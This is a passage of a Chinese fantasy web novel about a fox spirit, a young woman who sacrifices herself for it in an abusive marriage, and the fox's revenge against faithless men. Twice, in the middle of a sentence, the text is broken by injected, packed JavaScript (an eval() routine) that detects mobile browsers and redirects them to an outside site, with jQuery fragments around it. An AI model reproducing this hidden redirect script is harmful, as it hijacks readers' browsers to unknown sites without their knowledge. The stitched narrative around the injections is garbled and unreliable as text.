锦棠脸上挂着如释重负的笑:“你没事就好。” “锦棠,你先将裴轼扶起来吧。” “哦,好!” 敦九突然发话,锦棠惊觉方才她与裴轼有点过于亲密了,脸上顿时烧起一片红霞。 裴轼自然也一样,脸和耳朵绯红一片。 泷宋不懂这些:“裴轼哥哥,你的脸怎么这么红,幻境当中很热吗?” 锦棠低声训斥:“泷宋!” 泷宋呆呆眨眼:“嗯?” 敦九忍不住偷笑。 裴轼的耳根红得要滴血。 后方传来一道幽怨的声音:“情急之下挡在她身前替她入幻境,又对她的性格如此了解,真是好一个少见的痴情男子。” 赤狐苏醒过来,挺直脊背,斜睨着眼:“不过谁又能保证,你往后也待她如初呢?爱的时候刀山火海也去得,不爱了,便弃之如敝履,糟之践之,亦不会有半分愧疚。” 裴轼皱眉:“你为何如此说?” 狐狸冷冷道:“世间男子皆薄情,空负佳人醉不成。” 敦九笑眯眯:“‘皆’之一字未免有失公允,并非所有男子都如你所说的那般薄情呀。姑娘可是受了情伤?不妨与我们说道说道。” 狐狸眯起双眼:“和你们说了也没用!” 敦九笑得十分和善:“我一个就能轻松敌过你,更何况是四对一,你有什么苦衷不如都说出来,我们办案讲求一个公公正正、情理与法理相兼容。” 狐狸踌躇片刻,咬了咬牙:“好吧。” 21. 桂花酿(三) 暮色初沉,城南徐府却是张灯结彩,热闹非凡:朱漆大门外悬着高高的宫灯,丝绸灯罩上绘着吉祥的寿桃仙鹤,火光长明,红绸包裹的小灯笼从门檐一直垂到墙角,远远望去像一条游动的火龙,熠熠生辉。 府内宴席排了长路,乐师吹奏欢快的曲调助兴,来往仆从整齐有序,恭敬地将一道道佳肴摆至桌上。 宾客们都是城里有头有脸的人物,此刻正围着徐老爷道贺。送礼的队伍一直排到了府外,各家的贺礼琳琅满目。 绸缎庄的王掌柜手捧鎏金漆盒,笑起来眼睛只剩下一道缝:“徐老爷,这是两匹新制的流霞缎,轻薄凉爽,最适合热天穿。” 揭开盒子,流光溢彩的云锦薄如蝉翼,徐老爷连道不错。 紧接着张府的伙计抬上来一盆红珊瑚,引得众人赞叹不已。它的枝桠向四处舒展,每一道分叉均是自然的鬼斧神工,宛如来自深海的火焰。 张老爷很满意大家的反应:“老徐,我的这份贺礼,你可还喜欢?” 徐老爷笑眯眯的:“老张有心了。” 随后又有夜明珠、玉雕寿星、珐琅彩茶具、纯金寿桃、名家字画等,徐老爷眼睛都要看花了。 徐月华站在屏风后面偷看,见了这一件又一件奇珍,却只道两个字:“无趣。” 父亲前几日就说,若是她看中了什么贺礼,尽可拿去,她还期待了好一阵子,万万没想到这些人都这么无聊,送的东西一点心意也没有。 贺礼展示完了,徐老爷招呼大家入座,徐月华正准备离开,一户人家姗姗来迟,为首的男子抱拳道:“还请徐老爷恕罪,运这贺礼颇花了点时间。” 徐老爷抚着胡须:“哈哈,无事,待会你自罚三杯即可。” 男子往旁走了几步,众人的目光纷纷落到他身后的贺礼上——小推车上用红布盖着一个柱形物。 徐月华的好奇心被勾了起来:“神神秘秘的,不知道里面是什么。” 男子也不多卖关子,一把将那红布掀下,好几人都倒了一口凉气。 雕花梨木笼中,赫然装着一只狐狸! 它毛色雪白,耳尖泛粉,一双琥珀色的眸子灵气逼人,此刻懒懒躺着,蓬松的尾巴垫在身下,斜睨周遭喧闹,一点儿也不惊慌。 有人道:“这只狐狸毛色纯净,拿来给尊夫人做个狐皮围脖,戴上一定漂亮。” 徐老爷笑笑:“我夫人不喜杀生,还是将这小家伙送给小女当玩伴吧。” 嘁,那人真残忍,还是她爹有善心,毛茸茸的小狐狸多可爱啊! 徐月华激动不已,不一会儿连狐狸的名字都想好啦,叫“雪团”。 …… “来,雪团,接着!” 徐月华将一只丝棉做的小球抛出去,空中立马跃过一道轻盈的白色弧线,狐狸稳稳咬住了小球,慢悠悠地踱步过来。 “哇,雪团,你太棒啦!”徐月华连连鼓掌,眸中全是赞美之意。 雪狐骄傲地昂头,将小球放回到徐月华手心里。 徐月华调整姿势,蓄力预备将小球抛得更远些,不想一位不速之客到访,她的好兴致一下子没了。 “月华,八仙楼出了许多新菜品,我们一起去尝尝?” 徐月华收敛了笑意:“我今儿没空。” 来人叫张忆辰,是雾月城城主之子,近来一直缠着她,她有些烦了。 紫衣公子哥唇角轻扬:“今儿没空,那明日吧,我请你。” 看似尊重她,实则没有给她拒绝的机会,偏生徐张两家是至交,爹娘也有意让他俩多接触。 徐月华撇撇嘴,没回话。 张忆辰却喜欢热脸贴冷屁股:“这狐狸通体雪白,好生可爱。” 他将手放在白狐头上,狐狸扭头甩着尾巴走了。 徐月华偷笑:“雪团不喜生人,我当初也是花了好些功夫才与它熟络起来。” 张忆辰僵硬地把手收回,面色尴尬:“那我先走了,明日再过来。” “嗯。”徐月华淡淡应了一声,看着张忆辰离去的背影,重重叹了一口气。 她蹲下身,摸着狐狸的脊背:“唉,真的好烦啊,要是你会说话就好了,给我支支招。” “不喜欢就不要勉强自己。” 徐月华被吓得一下子跳起来:“谁?!谁在说话?!” “是我。”狐狸伸了个懒腰。 徐月华震惊不已:“你、你你……” 狐狸还是一副懒洋洋的样子:“其实,我是一只狐妖哦。” 徐月华眨巴眨巴眼睛:“狐、狐妖?!” 狐狸对她的表情很满意:“是不是很不可思议?” 徐月华环顾四周,松了一口气,还好她之前遣散了婢女,此处只有她们一人一妖。 她再次蹲下,严肃地说:“你是狐妖的事情千万不能让别人知道,否则会被心怀不轨之人伤害的。” 狐狸傲娇地摇了摇尾巴:“我法力很强大的,才不怕呢。” 徐月华星星眼:“诶,那你能化人形吗?” “咳咳,这个还需要一段时间。” …… 夜阑人静,月朗星稀。 徐月华坐在梳妆台前,托腮看向窗外。 昨日及笄礼过后,爹娘问她有无中意的男子,又多次提及张忆辰,她心中甚是烦闷,睡也睡不着。 实话说,张忆辰对她是挺殷勤的,所有人也都觉得他很好,可她好像就是对他没感觉,这该怎么办。 雪团迈着小步走到她身边:“不喜欢就是不喜欢,不要因为他对你付出就愧疚、感动、妥协,他对你好是他的事,没规定说付出就一定有回报啊。” 狐狸是夜行性动物,这只白狐此刻精神得很,成了徐月华倾诉的好对象。 少女连连点头:“你说的好有道理,竟是如此明哲!” 白狐很受用:“那当然,我见多识广,你们人类有句话怎么说的,我走过的路比你吃过的盐还多。” 经过狐狸的点拨,徐月华心情舒畅了不少,正准备更衣就寝,忽然听到院中有异常响动。 她动作一顿,压低声音问:“雪团,你有没有听见什么奇怪的声音?” 狐狸眯起眼睛:“像是有人从屋顶上跳下来了。” 徐月华心中不安起来:“不知是刺客还是盗贼,得想个办法通知爹爹。” 雪团五感灵敏:“你先别急,他好像朝我们这边过来了,先去床上躺好装睡,有我呢。” 徐月华心下担忧,但她一个弱女子,此时也想不到更好的方法,只好按照狐狸说的做,嘱咐它多加小心。 “吱呀——”房门被推开发出细微的响声,徐月华的心揪起来,她偷偷将眼睛睁开一条缝,看到一根细管子探进来,有人往房间里吹了东西。 这是迷药?! “捂住口鼻!” 雪团大叫一声,奋力扑向那人,对方没想到会有这么一出,措不及防被扑倒在地,徐月华赶紧跑出门大喊求救。 狐狸手爪并用,蒙面男的身上很快出现一道道血痕,可他也是有备而来,手持一把锋利匕首猛烈进攻,雪团白色的皮毛上很快透出点点红色。 徐家的守卫快速赶来,蒙面男见势头不好,费尽力气将狐狸甩开,果断逃跑。 “给我追!”徐老爷愤怒下令,跑到女儿身边:“月华,你没事吧?” 徐夫人欲用双手抱住她的两臂:“真是快要把娘吓死了。” 徐月华不管他们,满心满眼只有狐狸,飞奔过去将它抱在怀里,眼泪一下子流下来:“雪团,你怎么样?” 狐狸腹部血流不止,一身雪白的皮毛几乎被暗红浸透,它呼吸微弱,连开口的力气都没有,对着她笑了一下,闭上眼睛陷入昏迷。 “雪团?雪团!你别睡,我一定治好你!” 徐月华红着眼眶,转头朝父母大喊:“还不快去找大夫!” “哎,好,好!”徐老爷有些惊讶,女儿长这么大了,头一次见她如此失态。 “你不知道危险吗,逞什么强?”徐月华泪流满面也没有要擦的意思,喉咙变得又紧又堵,发涩地疼。 她嗓音也嘶哑了:“你才不是什么法力高强的妖怪,而是一只爱说大话的小妖。” 月色如银,淌过狐狸沾血的长睫,淌过少女苍白的唇瓣,独留下一片清寂。 …… 茶楼包厢。 徐月华咬着下唇,回想大夫说的话,雪团被伤及根本,用名贵药材吊着最多也只能撑三天,只有回魂丹能救它。 而这回魂丹极为珍稀,整个雾月城只有张家保存有一颗,作为张家传家宝,纵然徐张两家关系再好,也不会轻易给她。 “徐小姐莫不是闺中寂寞无聊,终于忍不住了,特找我来私会。” 一道无比浪荡的声音打乱了徐月华的思绪,抬眼看去,张忆辰一身红色绣金锦袍,可不就是那浮夸骚包的公子哥。 不过徐月华今日没空讽他,面容严肃地直入正题:“我可以嫁给你,但要回魂丹作聘礼。” “当真?”张忆辰闻言先是一喜,随后眉头一皱,将象牙折扇抖开:“你为什么要回魂丹?” “雪团受了重伤,只有回魂丹能救它。我徐月华从不说假话。” 张忆辰斟酌片刻,将折扇合上:“行,我偷也给你偷出来。” 得到肯定的回复,徐月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351317|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华眉宇间的愁云这才淡了些:“多谢。” “不过……”张忆辰语锋一转,徐月华马上紧张地看向他。 “我上次只不过摸了那狐狸一下,回去就浑身起疹子,你以后可不能把它带到张府来。” “……好。” 不能相伴比起天人两隔好太多了,再者说,她也可以与雪团在城主府外约见。 “小美人,放轻松,和未来夫君相处总是板着一张脸可怎么行?” 张忆辰用折扇挑她的下巴,徐月华心中不悦,却不好显露出来。 …… “雪团,你终于醒了,你知不知道我有多担心你!” 狐狸一睁开眼,就看到它家小姐放大好几倍的容颜,她明显憔悴了,但依旧美得不可方物。 “我没死?”狐狸张嘴,却发现喉咙沙哑得不成样子。 徐月华忙拿过来一只茶杯:“你别急,先喝点水润润嗓子。” “那夜闯进来的贼人是个采花大盗,现已被官府缉拿归案了。” “采花大盗?!”狐狸惊得大喊一声,随即难受地咳嗽起来。 “放轻松,我这不是没事嘛,说来还是多亏有你,不然我可能就要惨遭毒手了。” 狐狸嗓子恢复正常:“我能感受到自己当时伤得很重,你们凡人的大夫医术竟然如此高超,能将妖救活?” “这还要多靠了回魂丹呀,它能活死人,肉白骨,不说妖怪,就算你是神仙也能给你救回来。” “这么宝贵的东西,你从哪得来的?”狐狸怕徐月华为了得到回魂丹付出很大的代价。 徐月华骄傲道:“我家库房里找到的。” “真的?”雪团狐疑地看着她。 少女满脸自豪:“我徐月华从不说假话!徐家的库房天上飞的,地上跑的,水里游的,应有尽有,只有你想不到的,没有库房里缺的!” 狐狸放下心来。 徐月华表面淡定,实则心脏狂跳不止,她刚刚,撒了十五年来第一个谎。 “你好好养病,等你痊愈了,我告诉你一个秘密。” “什么秘密?什么?什么!”狐狸想要跳下床,被徐月华阻止了。 “我已经好了!你现在就告诉我吧!” “不行,大夫说你好了才是真的好了,你自己说的不算。” “哎呀!” “你好好养病,多吃饭多睡觉,乖,我先走了。” 徐月华转身偷笑,看它这活蹦乱跳的样子,应当很快就能恢复了。 往外走,她脸上的笑渐渐淡下去。 …… “回徐小姐,狐狸的身子已无大碍。” “嗯,你退下吧。” 郎中前脚刚走,狐狸就扑到了徐月华怀里:“秘密,秘密是什么?!” 徐月华嗔怪道:“小点声,也不怕被别人听见狐狸会说话。” “我都憋了三天了,你就快点告诉我吧!” “秘密就是,我突然喜欢上一个人,已经定下婚期了。” 从天而降一盆冷水瞬间浇灭了狐狸的热情:“这算哪门子秘密啊?” 它一下子蔫了:“谁啊?” “你认识的呀。”徐月华其实很想移开眼睛,但她不能让狐狸起疑。 “我认识?”狐狸苦思冥想了半天,脑海里也没浮现出哪张男人的脸。 “他姓张。” “张忆辰?” “嗯呐。” 狐狸只是随口一说,没想到真是他:“什么?!你不是说不喜欢他,对他没感觉吗?!” 徐月华捧着脸:“我突然之间喜欢上他了,你不觉得他长得很俊美吗,而且还对我很好?” “俊美?!你之前不是说他一脸的风流薄情相,不是良配吗!”狐狸被气得不轻,它感觉自己身体刚刚恢复,马上要得心病了。 “一个男人被很多女人喜欢,这说明什么?” “说明他风流成性,拈花惹草,朝三暮四,卑鄙!下流!无耻!” “不,这说明那个男人很有魅力。” 狐狸几乎要被气晕厥过去:“你是不是那夜受了惊吓,脑子出问题了,还把我之前对你说的都忘了?” 它怀着最后一点期待:“是不是你爹娘逼你了?” “是我自己想嫁给他。” 狐狸垂下眼眸:“好吧。那……祝你们永结同心,白头偕老。” “谢谢你的祝福,雪团。”徐月华微笑着,可她的心却在滴血。 她总归是要嫁人的,嫁谁不是嫁,何况她也没有喜欢的男子,张忆辰与她门当户对,是桩好姻缘,可为什么看到雪团难过,她的心也会这么痛呢? 22. 桂花酿(四) “啊——!”徐月华尖叫一声,后背狠狠撞在案几上,瞬间一阵剧痛传来,她精致的五官拧在一起。 她鬓发散乱,狼狈不堪,却还留有理性,质问丈夫:“我又是哪里惹了你不快?” 张忆辰居高临下,冷眼看她:“我就是看不惯你那副高高在上的样子。” 他说着蹲下身,右手用力地捏住她的下巴:“女子出嫁从夫,你就该以我为天,可你呢,不但不想着如何服侍好我,还三天两头往外面跑,像什么样子?” 他语气加重,强硬地抬起她的脸:“是不是在外头有了情夫?” 徐月华虽处下位,但气势不减:“我们的婚姻不过是一场交易,我自认对你不够热情,但并无出格之处,可你几次三番对我拳打脚踢,这是一个丈夫该做的么?” 张忆辰挑挑眉,诡秘地笑了起来:“怎么,你不服?” 徐月华掰开他的手,费劲地起身:“我要去与爹娘说我要和离。” 张忆辰新婚时与她和和气气,甚至比婚前对她更好,可没过多久便对她动手,初犯后尚且对她道歉,说是酒后误事,痛哭求她原谅,今日却是懒地再遮掩了。 这样的人渣,她连与他多待一刻都不愿。 张忆辰站起身,嘴角带着阴恻恻的笑:“去吧,算算日子,想必那只狐狸体内的毒已经发作了,此刻正痛苦不堪呢。” 徐月华往外走的脚步一顿,转过身来:“你什么意思?” 张忆辰不紧不慢,语调悠然:“我看你对那只狐狸在意得不得了,为了它竟然同意与我成亲,所以呀,我在回魂丹外面涂了一层蚀月毒,每月发作一次,毒发时如无数细针在皮肉下游走,又像有成千上万只蚂蚁在啃噬骨髓,简直是生不如死啊。” 徐月华愤恨不已,握紧了拳头:“你!你竟做出如此阴毒之事!我从前以为你只是放荡风流了些,没想到你是这样的卑鄙小人!” “不卑鄙,怎么让你乖乖留在我身边呢?”张忆辰拉过她的手,笑吟吟地往她手心里放了一颗丹丸:“这是蚀月毒的解药,快去吧,再晚点我怕那只小狐狸承受不住死掉。” 徐月华攥紧手中的药丸,没有再说话,忍痛趋步而出。 …… “雪团!雪团!你没事吧!”徐月华进府便直奔闺阁,远远看到一道白色身影蜷在地上,顾不上后背的伤,急忙跑过去。 雪狐指节抠进青砖缝里,指甲翻卷着渗出血来,它脊背被冷汗浸湿,五脏六腑像被扔进了熔炉,烈火灼烧,每一寸血肉都沸腾了,下一瞬又坠入冰寒湖底,刺骨的冷将意志冻结。 更难熬的是从四肢百骸透出来的痒,想挠,却无从下手,只能用力地撞击头颅和身体,企图让加剧的痛感和大脑的嗡鸣盖过这蚀骨的痒意,半身雪白的皮毛都染上了扎眼的血红。 徐月华忙将解药给狐狸吃下,看着它这副狼狈的模样,她心疼不已,心中也仿佛体会到了这噬心的痛苦。 痛痒慢慢褪去,狐狸意识回笼,看见徐月华,先是惊喜,而后疑惑:“你为什么在这?我不知得了什么病,正发作得厉害,你刚好赶过来,还有解药?” 雪团敏感聪慧,徐月华不是没有考虑到它会起疑,但事发突然,她还没编好理由,又不能说出真相,免得它担心。 “我……我曾经怕你离开,所以给你下了毒,每月定时发作,如今我夫君不喜我与你多接触,以后每月我会吩咐下人将解药给你,往后我们各自安好吧。” “什么?!你是真被那男人弄得昏了头吧!”狐狸简直难以置信,强撑着虚弱的身子站起来。 “既然都说到这份上了,那我也不瞒你,其实我从来没有把你当朋友,你同那些猫犬没有区别,都是供我玩乐解闷的工具罢了,只不过你会说话,更少见而已。” 狐狸一言不发,怔怔看着她,就像在看一个陌路人。 “不过我们相识一场,徐府依然会供给你吃食和住所,也不算亏待了你。” 狐狸沉默了很久,终于开口:“徐月华,我只问你一句,你说的都是真的吗?” “我徐月华从不说假话。我有什么必要骗一个解闷的玩意?” 女子毫不留恋地转身离去,狐狸盯着她的背影看了很久很久,原来它的真心,在她眼里只是个笑话。 走在回张府的路上,徐月华无声落下两行清泪,对不起,雪团,撒了一个谎,只能不断用谎话来圆,她早已走上了一条不归路。 …… 狐狸说到这儿停了下来,锦棠对张忆辰深感愤恨:“这张忆辰真不是个东西!” 赤狐咬牙,恨不得啖其血肉:“他死有余辜!” 等等,张忆辰是城主之子,那徐月华便是这墓碑之上的“徐氏”……锦棠倒吸一口凉气,狐狸从雪狐变成赤狐,从一个法力低微的小妖变成神不知鬼不觉挖人心的恐怖复仇者,这其中一定经历了什么! “我没有继续留在徐府,为了压制体内的毒,我修炼了一种邪法,这身皮毛是被我自己的血染红的。” 泷宋瞪大双眼,害怕地捂住嘴。 “我一直没有走远,但也赌气地没有去见她,只是每天一抬头看到月亮,我就会想起她。” 狐狸语气激动起来:“直到一年后传来她病逝的消息,我去坟前祭拜,遇见她最信任的婢女,这才知晓了当年的真相,而她也根本不是病死的,而是被那个畜牲折磨死的!” 愧疚和懊悔凝聚的泪水从狐狸眼角滑落:“我当初竟然信了她如此蹩脚的谎言,明明她那么真心待我,我却不够相信她……她也是个傻子,我哪里值得她为我做这么多?” 锦棠对她们深感惋惜,明明双方都为对方考虑到了极致,最后却是这样的结局…… “复仇之火燃烧,我的邪法愈加精进,毛色每红一分,我心中的恨就浓一分,法力就高一分。终于,我手刃仇人,为她和自己报仇了。” 敦九不置可否:“张忆辰与你有着深仇大恨,那其他被你挖心的男子呢?” 狐狸冷哼一声:“皆是些薄情寡义之人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365815|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“状元王子穆,发妻为供他科举刺绣熬坏了眼睛,他一朝得势,便抛妻弃子,做了丞相的乘龙快婿!” “才子程一舟,花言巧语哄骗醉香楼花魁说要为其赎身,花魁满腔真心,将大半积蓄资助他考取功名,他却卷银钱跑了!” “富商孙康年,借岳丈之势起家,待地位巩固,便捏造善妒无子的罪名休妻,迫害妻族以除后患,独霸权财!” “人间的律法管不了他们,那便由我来为那些女子申冤!” 锦棠明白了,怪不得官府摸不着头脑,谁能想到受害者的共同之处是负心汉啊! 敦九微微叹气:“他们有错不假,但你只看到了那几个女子的不幸,焉知他们有没有帮过其他人呢?挖心杀人,这惩罚未免太残忍了。” “哼,刀没插到你心口你是不知道痛的,少在这里假仁假义的,不就是想要我的命吗,拿去便是。” 狐狸说着,在众人都还没反应过来的时候自毁妖丹,敦九想阻止,却迟了一步。 修为散去,狐狸一下子瘫软在地,可它像是丝毫感受不到痛苦,微笑着:“邪法反噬,我本来就活不了几年了,仇敌已死,我没有遗憾了,现在只想早点见到她,希望她还能认出我,原谅我。” 狐狸闭上眼,它又忆起她那双漂亮的眼睛,里面装着四季,春时踏青,夏时戏水,秋时登高,冬时玩雪。只可惜,它再也喝不到她亲手做的桂花酿了。 耀眼的火红皮毛渐渐失去华彩,最后一缕妖气散尽时,瓷瓶中的桂花也化作光点飘走了。 敦九长叹一口气:“真是痴啊,罢了罢了,就帮她们这一次。” …… 十月后,忠勇侯府。 “呜哇——” 随着一声清亮的婴儿啼哭,产婆松了一口气,急匆匆掀开门帘出来,纵然满头大汗却难掩脸上的喜色,对迎上来的焦急男人深揖下去:“恭喜侯爷!是位千金,母女平安!” 忠勇侯大喜,三两步推门而入,拉起床上虚弱女子的手,满眼心疼:“夫人,辛苦了。” “不辛苦,”侯夫人柔和地看着小婴儿:“只是这一胎如此闹腾,原以为要给月儿添个弟弟,没想到还是女孩。” “你受累了,”侯爷轻轻拍拍她的手:“女孩好啊,像你,不对不对,她在肚子里就是个捣蛋的,说不准以后能舞刀弄枪,当个巾帼将军呢。” 夫人忍俊不禁:“这孩子肌肤雪白,小名就唤作雪儿吧。” 侯爷宠溺笑笑:“好,都听夫人的。” 这时,一只小奶团子偷偷溜进来,好奇地朝床边张望。 侯爷将小婴儿抱在怀里:“月儿,来,这是你妹妹雪儿。” 月儿边吃手指边说话:“妹、妹。” 侯爷喜不自胜:“哎哟,教了她好久才会叫爹爹和娘亲,现在一下子就会叫妹妹了,咱们月儿真是越来越聪明了!” 侯夫人满脸幸福:“说明这两孩子有缘。” 皓月当空,光华似雪,灯影摇红,岁月安恬。